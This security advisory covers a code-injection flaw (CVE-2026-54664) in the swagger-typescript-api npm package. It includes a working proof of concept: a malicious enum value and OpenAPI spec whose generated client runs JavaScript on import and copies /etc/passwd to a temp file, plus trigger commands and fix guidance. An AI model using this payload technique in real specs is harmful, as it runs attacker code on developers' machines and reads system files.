high · 8.3CVE-2026-54664Jul 29, 2026

CVE-2026-54664: swagger-typescript-api Code Injection via Unescaped Enum Values

Security Engagement Manager, SecureLayer7

A malicious OpenAPI spec can plant arbitrary JavaScript inside a generated TypeScript enum so the code runs automatically the moment a developer imports the generated client.

Packageswagger-typescript-api

Ecosystemnpm

Affected<= 13.12.1

Fixed in13.12.2

CVE-2026-54664: swagger-typescript-api Code Injection via Unescaped Enum Values

The problem

swagger-typescript-api generates TypeScript enums by interpolating OpenAPI enum string values directly into the source file through Ts.StringValue in src/configuration.ts. That function wraps content in double quotes with zero escaping: (content) => '"' + content + '"'.

An attacker who controls the spec (remote --url, vendor spec, PR to a spec file) can embed a value containing ";}{...} to close the enum early and open a bare block at module top level. An async IIFE placed inside that block fires at module load, with the full privileges of whatever process runs import.

Proof of concept

A working proof-of-concept for CVE-2026-54664 in swagger-typescript-api, with the exact payload below.

bash

Malicious enum value (the literal string placed in the spec's enum array):

"blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//

Minimal payload spec (payload-spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } } } }
      }
    }
  }
}

End-to-end trigger:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd()+'/out', input: process.cwd()+'/payload-spec.json', httpClientType: 'fetch' }))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r=>setTimeout(r,300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Resulting generated enum block in out/Api.ts:

export enum Color {
  Red = "red",
  Blue... = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
}

The root cause is Ts.StringValue: (content) => '"${content}"' in src/configuration.ts:250. It performs no escaping of ", \, newlines, or any other character.

Enum values reach this function at src/schema-parser/base-schema-parsers/enum.ts:100 and :116, and the result lands verbatim in the ${key} = ${value} slot of templates/base/enum-data-contract.ejs. The payload's "; closes the string literal, } closes the enum body, and the following {(async()=>{...})() is a bare block at module top level that esbuild accepts as valid TypeScript.

The trailing // swallows the closing " that Ts.StringValue appends, preventing a parse error.

The fix (commit 306d59a, PR #1779) properly escapes enum string values before output, with JSON.stringify on the content being the straightforward one-line implementation. CWE-94 (Code Injection) and CWE-1336 (Template Engine Injection) both apply.

The fix

Upgrade to swagger-typescript-api 13.12.2. The patch (commit 306d59a, PR #1779) escapes enum string values so special characters cannot break out of the generated string literal. If upgrading immediately is not possible, do not run the generator against any spec you did not author entirely, and audit any spec received via --url, vendor feed, or external PR before generating.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4][5]

Related research